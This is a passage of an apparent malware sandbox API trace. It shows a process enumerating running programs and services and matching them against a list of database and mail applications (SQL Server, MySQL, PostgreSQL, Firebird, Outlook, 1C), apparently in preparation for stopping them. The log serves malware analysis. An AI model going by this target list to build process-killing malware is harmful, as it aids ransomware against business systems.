lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0254.715] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0254.716] Process32FirstW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.717] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.717] lstrlenW (lpString="System") returned 6 [0254.717] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0254.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0254.717] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0254.717] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0254.717] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0254.717] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0254.717] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0254.717] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.717] lstrlenW (lpString="smss.exe") returned 8 [0254.717] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0254.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0254.717] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0254.717] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0254.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0254.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0254.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0254.718] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.718] lstrlenW (lpString="csrss.exe") returned 9 [0254.718] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0254.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0254.718] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0254.718] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0254.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0254.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0254.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0254.718] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.718] lstrlenW (lpString="wininit.exe") returned 11 [0254.718] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0254.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0254.718] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0254.718] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0254.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0254.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0254.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0254.719] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.719] lstrlenW (lpString="csrss.exe") returned 9 [0254.719] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0254.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0254.719] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0254.719] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0254.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0254.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0254.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0254.719] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.719] lstrlenW (lpString="winlogon.exe") returned 12 [0254.719] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0254.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0254.719] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0254.719] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0254.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0254.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0254.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0254.720] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.720] lstrlenW (lpString="services.exe") returned 12 [0254.720] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0254.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0254.720] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0254.720] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0254.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0254.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0254.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0254.720] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.720] lstrlenW (lpString="lsass.exe") returned 9 [0254.720] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0254.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0254.720] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0254.720] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0254.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0254.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0254.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0254.721] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0254.721] lstrlenW (lpString="lsm.exe") returned 7 [0254.721] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0254.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0254.721] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0254.721] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0254.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0254.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0254.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0254.721] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.721] lstrlenW (lpString="svchost.exe") returned 11 [0254.721] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0254.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0254.721] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0254.721] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0254.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0254.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0254.722] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.722] lstrlenW (lpString="svchost.exe") returned 11 [0254.722] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0254.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0254.722] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.722] lstrlenW (lpString="svchost.exe") returned 11 [0254.722] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0254.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0254.723] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0254.723] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0254.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0254.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0254.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0254.723] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.723] lstrlenW (lpString="svchost.exe") returned 11 [0254.723] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.723] lstrlenW (lpString="svchost.exe") returned 11 [0254.723] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.724] lstrlenW (lpString="audiodg.exe") returned 11 [0254.724] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.724] lstrlenW (lpString="svchost.exe") returned 11 [0254.724] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.724] lstrlenW (lpString="svchost.exe") returned 11 [0254.724] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0254.725] lstrlenW (lpString="userinit.exe") returned 12 [0254.725] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.725] lstrlenW (lpString="dwm.exe") returned 7 [0254.725] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.725] lstrlenW (lpString="explorer.exe") returned 12 [0254.725] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.725] lstrlenW (lpString="spoolsv.exe") returned 11 [0254.725] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0254.726] lstrlenW (lpString="taskhost.exe") returned 12 [0254.726] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.726] lstrlenW (lpString="svchost.exe") returned 11 [0254.726] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0254.726] lstrlenW (lpString="uyuquk.exe") returned 10 [0254.726] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0254.727] lstrlenW (lpString="reader_sl.exe") returned 13 [0254.727] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0254.727] CloseHandle (hObject=0x390) returned 1 [0254.727] Sleep (dwMilliseconds=0x1f4) [0255.372] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42e7430 [0255.510] EnumServicesStatusExW (in: hSCManager=0x42e7430, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0255.511] GetLastError () returned 0xea [0255.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0255.511] EnumServicesStatusExW (in: hSCManager=0x42e7430, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0255.511] CloseServiceHandle (hSCObject=0x42e7430) returned 1 [0255.511] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0255.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.511] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0255.511] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0255.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0255.511] lstrlenW (lpString="AudioSrv") returned 8 [0255.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0255.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0255.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0255.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0255.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0255.512] lstrlenW (lpString="BFE") returned 3 [0255.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0255.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0255.512] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0255.512] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0255.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0255.512] lstrlenW (lpString="CryptSvc") returned 8 [0255.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0255.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0255.512] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0255.512] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0255.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0255.512] lstrlenW (lpString="CscService") returned 10 [0255.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0255.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0255.512] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0255.512] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0255.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0255.512] lstrlenW (lpString="DcomLaunch") returned 10 [0255.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.512] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0255.512] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0255.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0255.512] lstrlenW (lpString="Dhcp") returned 4 [0255.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0255.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0255.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0255.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0255.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0255.513] lstrlenW (lpString="Dnscache") returned 8 [0255.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0255.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0255.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0255.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0255.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0255.513] lstrlenW (lpString="DPS") returned 3 [0255.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0255.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0255.513] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0255.513] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0255.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0255.513] lstrlenW (lpString="eventlog") returned 8 [0255.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0255.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0255.513] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0255.513] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0255.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0255.513] lstrlenW (lpString="EventSystem") returned 11 [0255.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0255.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0255.513] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0255.513] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0255.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0255.513] lstrlenW (lpString="gpsvc") returned 5 [0255.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0255.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0255.513] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0255.513] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0255.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0255.513] lstrlenW (lpString="LanmanWorkstation") returned 17 [0255.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.513] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0255.514] lstrlenW (lpString="lmhosts") returned 7 [0255.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0255.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0255.514] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0255.514] lstrlenW (lpString="MMCSS") returned 5 [0255.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0255.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0255.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0255.514] lstrlenW (lpString="MpsSvc") returned 6 [0255.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0255.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0255.514] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0255.514] lstrlenW (lpString="NlaSvc") returned 6 [0255.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0255.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0255.514] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0255.514] lstrlenW (lpString="nsi") returned 3 [0255.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0255.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0255.514] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0255.514] lstrlenW (lpString="PcaSvc") returned 6 [0255.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0255.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0255.514] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0255.514] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 